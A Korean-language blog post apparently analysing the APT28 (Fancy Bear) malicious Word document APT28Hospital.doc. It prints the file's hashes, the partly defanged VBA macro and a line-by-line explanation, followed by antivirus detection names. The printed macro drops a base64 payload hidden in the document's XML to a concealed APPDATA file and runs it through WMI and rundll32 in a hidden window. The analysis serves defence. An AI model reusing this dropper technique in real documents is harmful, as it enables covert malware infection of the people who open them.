꿈을꾸는 파랑새

오늘은 러시아 팬시베어(Fancy Bear) 에서 만든 악성코드인 APT28Hospital.doc에 대해 글을 적어 보겠습니다. 해당 악성코드는 러시아의 해킹 단체로 주로 국가의 정당들을 공격하는 APT 단체이며 APT28 이라고 불리고 있으며 러시아 군사 정보국 GRU 추정이 되며 동유럽 정부와 군대, 조지아와 코카서스, 우크라이나, 와 같은 보안 관련 조직 NATO(나토) 과 미국 방위 산업체 Academi(아카데미(Academi)) (구 Blackwater 및 Xe Services), Science Applications International Corporation (SAIC),보잉, 록히드마틴, 레이시온 포함하여 크렘린의 정치적인 러시아 연방 시민을 공격하고 있으며 한때는 프랑스 대선, 미국 대선, 미국의 언론매체, 세계반도핑기구 등 아무튼 서방 국가 기관들을 공격하고 있습니다.
기본적으로 해당 악성코드 코드가 있는 곳은 다음과 같습니다.
vbaProject.bin 관련 부분에 악성코드가 있습니다.
해당 악성코드의 해쉬값은 다음과 같습니다.

APT28Hospital 악성코드 실행
APT28Hospital 악성코드 실행

파일명:APT28Hospital.doc
사이즈:76.7 KB
CRC32:590f59a1
MD5:9b10685b774a783eabfecdb6119a8aa3
SHA-1:f293a2bfb728060c54efeeb03c5323893b5c80df
SHA-256:a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
해당 악성코드를 실행한 화면 다음과 같은 워드 파일 내용을 확인할 수가 있습니다.
지금은 거의 사용이 되지 않는 공격 수법인 매크로 방식을 사용하는 것을 확인할 수가 있습니다.
그리고 매크로를 실행하면 기본적으로 매크로가 실행되고 매크로를 보려고 하면 비밀번호를 걸어 놓아서 매크로코드에 접근하지 못하게 해놓았지만 지난 시간에 소개 시켜 드린 방법으로 암호를 깨면 됩니다.

Cerbero Suite Advanced 본 매크로 파일
Cerbero Suite Advanced 본 매크로 파일

해당 악성코드 매크로 내용은 다음과 같습니다.

Private Sub Execute()
    Dim Path As String
    Dim (F)ileNum As Long
    Dim xml() As Byte
    Dim bin() As Byte
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    
    'extract and decode encoded file
    xml = ActiveDocument.WordOpenXML
    Set xml(P)arser = CreateObject("Msx(m)l2.DOMDocument")
    If Not xmlPa(r)ser.LoadXML(xml) Then
        Exit Sub
    End If
    Set cur(r)Node = xmlPa(r)ser.DocumentElement
    Set select(e)d = currNode.Se(l)ectNodes("//HLinks" & "/vt:" (&) "vector" (&) 
    "/vt:" (&) "variant"(&) "/vt:" (&) "lpwstr")
    If 2 > selected(.)Length Then
        Exit Sub
    End If
    base64 = selected(1).Text
    bin = Decode(B)ase64(base64)

    'save decoded file
    Path = Environ("APPDATA") (+) "\" + "user" (+) ".dat"
    FileNum = FreeF(i)le
    If Dir(Path, vbHidden) <> "" Then
        Exit Sub
    End If
    Open Path For Binary Access Write As #FileNum
    Put #FileNum,(1), bin
    Close #File(N)um
    SetAttr Path(,) vbHidden
        
    'execute saved file with WMI
    Set objWMIService = GetObject("win" & "mgmts" (&) ":\\" & strComputer
    (& "\root" & "\cimv2")
    Set objStartup = objWMIService.Get("Win32_" & "Process" (&) "Startup")
    Set objCon(f)ig = objStartup.SpawnInstance_
    objConfig.Sho(w)Window = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" (&) strComputer (&) "\root" (&)
    "\cimv2" & ":Win32_" (&) "Process")
    objProcess.Create "run" + "dll" (+) "32" (+) ".exe " (+) Path (+)
    ", " (+0 "#1", Null, objConfig, intProcessID

End Sub

vbaProject.bin 위치
vbaProject.bin 위치

해당 코드의 의미는 다음과 같습니다.
Execute 서브루틴을 시작하고 필요한 변수를 선언
Path: 디코딩된 파일을 저장할 경로를 나타냄
FileNum:파일 핸들을 저장하는 변수
xml() As Byte: Word 문서에서 읽어온 XML을 바이트 배열로 저장하는 변수
bin() As Byte: 디코딩된 이진 데이터를 저장하는 변수
HIDDEN_WINDOW = 0: 숨겨진 창을 사용하도록 지정하는 상수
strComputer = ".": WMI를 사용할 컴퓨터를 나타내는 변수로, 현재 컴퓨터를 의미
해당 부분은 XML에서 인코딩된 파일을 추출하고 디코딩하는 부분
ActiveDocument.WordOpenXML:현재 Word 문서의 내용을 바이트 배열로 읽어옴
xmlParser = CreateObject("Msxml2.DOMDocument"):XML 파싱을 위한 Msxml2.DOMDocument 객체를 생성
xmlParser.LoadXML(xml): 읽어온 XML을 파싱 하여 로드 및 로드에 실패하면 서브루틴을 종료
currNode, selected: 구문분석 된 XML에서 특정 노드를 선택하고 해당 노드의 값을 가져오며 해당 부분은 인코딩된 파일의 base64 문자열을 의미
DecodeBase64(base64):DecodeBase64 함수를 호출하여 base64 문자열을 디코딩하여 bin 배열에 저장
Environ("APPDATA"):사용자의 AppData 디렉터리를 나타냄
Dir(Path, vbHidden):지정한 경로에 숨겨진 파일이 이미 있는지 검사 이미 숨겨진 파일이 있다면 서브루틴을 종료
Open Path For Binary Access Write As #FileNum:디코딩된 이진 데이터를 파일로 저장하려고 파일을 열게 되어져 있습니다.
Put #FileNum, 1, bin: 파일에 디코딩된 이진 데이터를 쓰고 파일을 닫음
SetAttr Path, vbHidden: 저장된 파일을 숨겨진 파일로 설정
WMI를 이용하여 숨겨진 프로세스를 실행
objWMIService, objStartup, objConfig, objProcess 등의 객체를 생성하고 설정하여 숨겨진 프로세스를 실행
을 합니다.

user.dat 생성
user.dat 생성

그러면 C:\Users\사용자\AppData\Roaming 부분에 보면 user.dat 파일이 생성된 것을 확인할 수가 있습니다.
2023-08-09 14:10:21 UTC 으로 바이러스토탈에서 탐지 하고 있는 보안 업체들은 다음과 같습니다.
AhnLab-V3:W97M/Downloader
Alibaba:TrojanDownloader:VBA/MalDoc.ali1000101
ALYac:Trojan.Downloader.VBA.gen
Antiy-AVL:Trojan/Win32.Apt28
Arcabit:HEUR.VBA.CG.2
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
Avira (no cloud):W2000M/Agent.0533479
Baidu:VBA.Trojan-Downloader.Agent.bsa
BitDefender:Trojan.GenericKD.5676818
ClamAV:Doc.Dropper.Agent-6334849-0
Cynet:Malicious (score: 99)
Cyren:PP97M/Agent.gen
DrWeb:W97M.Dropper.55
Elastic:Malicious (high Confidence)
Emsisoft:Trojan.GenericKD.5676818 (B)
eScan:Trojan.GenericKD.5676818
ESET-NOD32:Win32/Sednit.BN
F-Secure:Trojan:W97M/MaliciousMacro.GEN
Fortinet:VBA/Agent.MRDT!tr
GData:Macro.Trojan-Dropper.Agent.ACA
Google:Detected
Ikarus:Trojan.Win32.Sednit
Kaspersky:Trojan.MSWord.Agent.lc
Lionic:Trojan.MSWord.Agent.4!c
MAX:Malware (ai Score=100)
McAfee:X97M/Downloader!FA577C22ABC1
McAfee-GW-Edition:X97M/Downloader!FA577C22ABC1
Microsoft:Trojan:Win32/Bluteal!rfn
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
QuickHeal:W97M.Downloader.2890
Rising:Macro.Sednit.a (CLASSIC)
Sangfor Engine Zero:Malware.Generic-Macro.Save.7924d164
SentinelOne (Static ML):Static AI - Malicious OPENXML
Sophos:Troj/DocDl-JQD
Symantec:W97M.Dropper
TACHYON:Suspicious/WOX.DRP.Gen
Tencent:Heur:Trojan.Script.LS_Gencirc.7096383.0
Trellix (FireEye):Trojan.GenericKD.5676818
TrendMicro:TROJ_FOOSACE.L
TrendMicro-HouseCall:TROJ_FOOSACE.L
VBA32:Trojan.O97.FancyBear
VIPRE:Trojan.GenericKD.5676818
ViRobot:DOC.S.Agent.78600
Yandex:Trojan.Mofer.bUlxdI.57
ZoneAlarm by Check Point:UDS:DangerousObject.Multi.Generic
뭐 일단 상당히 오래된 악성코드이기 때문에 대부분 보안 업체에서 탐지하고 있으며 기본적으로 백신 프로그램 등 기본적인 보안 수칙을 잘 지면 이런 유의 악성코드에 감염되고 피해를 보지 않을 것입니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band